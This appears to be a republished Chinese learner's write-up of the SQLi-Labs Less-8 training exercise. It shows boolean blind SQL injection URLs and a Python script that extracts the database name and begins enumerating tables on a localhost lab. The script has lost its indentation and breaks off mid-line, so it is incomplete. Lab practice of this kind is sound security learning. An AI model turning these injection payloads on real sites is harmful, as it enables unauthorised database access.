概述
/*
作者刚刚接触sql注入,本文仅用作记录刷sqli-labs靶场时的思路,仅代表个人看法,如有不当之处,欢迎各位大佬及时批评指正!
*/
根据关卡名称可知,sqli-labs第八关的考点是布尔盲注。
SQLi-Labs Less-8
第一步,根据关卡名称提示可知,本题的注入点需要构造一个闭合的单引号对
构建url: …/Less-8/?id=8’ 页面无显示
构建url: …/Less-8/?id=8’ --+ 页面显示正常
根据页面回显可知,本关的反馈结果只有“You are in”或者没有反馈,而不会有具体的显示结果,因此我们只能通过“猜”的方式进行注入
第二步,“猜测”数据库名称
猜测数据库名称可以分为两步:猜测名称长度和猜测具体的字符串。具体猜测过程比较枯燥、乏味且繁琐,因此我们可以交给代码来做这件事,具体代码如下:
import requests
url = "http://localhost/html/sqli-labs/Less-8/?id=1'"
# 数据库名称长度
i = 0
while 1:
url1 = url + 'and length(database())>'+str(i)+'--+'
re = requests.get(url1)
if 'You are in' not in str(re.content):
break
i = i + 1
lenDb = i
# 数据库名称
database = ''
for i in range(lenDb):
for asc in range(65,123):
url1 = url + 'and ascii(substr(database(),'+str(i+1)+',1))='+str(asc)+' --+'
re = requests.get(url1)
if 'You are in' in str(re.content):
database = database + chr(asc)
break
print(database)
代码中涉及到了布尔盲注的几个常用函数,文章结尾会做一个简单的介绍,此处暂且不提。
第三步,表名称的获取
和数据库名称相似,表名称的获取可以分为三步:首先获取security库中表的数量,再依次猜测每个表名的长度和具体字符。具体代码如下:
# 表的数量
tableNum = 0
while 1:
url1 = url +"and exists(select table_name from information_schema.tables where table_schema='security' limit "+str(tableNum)+",1)--+"
re = requests.get(url1)
if 'You are in'
最后
以上就是香蕉热狗为你收集整理的【SQLi-Labs刷题记录】第八关思路 布尔盲注的全部内容,希望文章能够帮你解决【SQLi-Labs刷题记录】第八关思路 布尔盲注所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复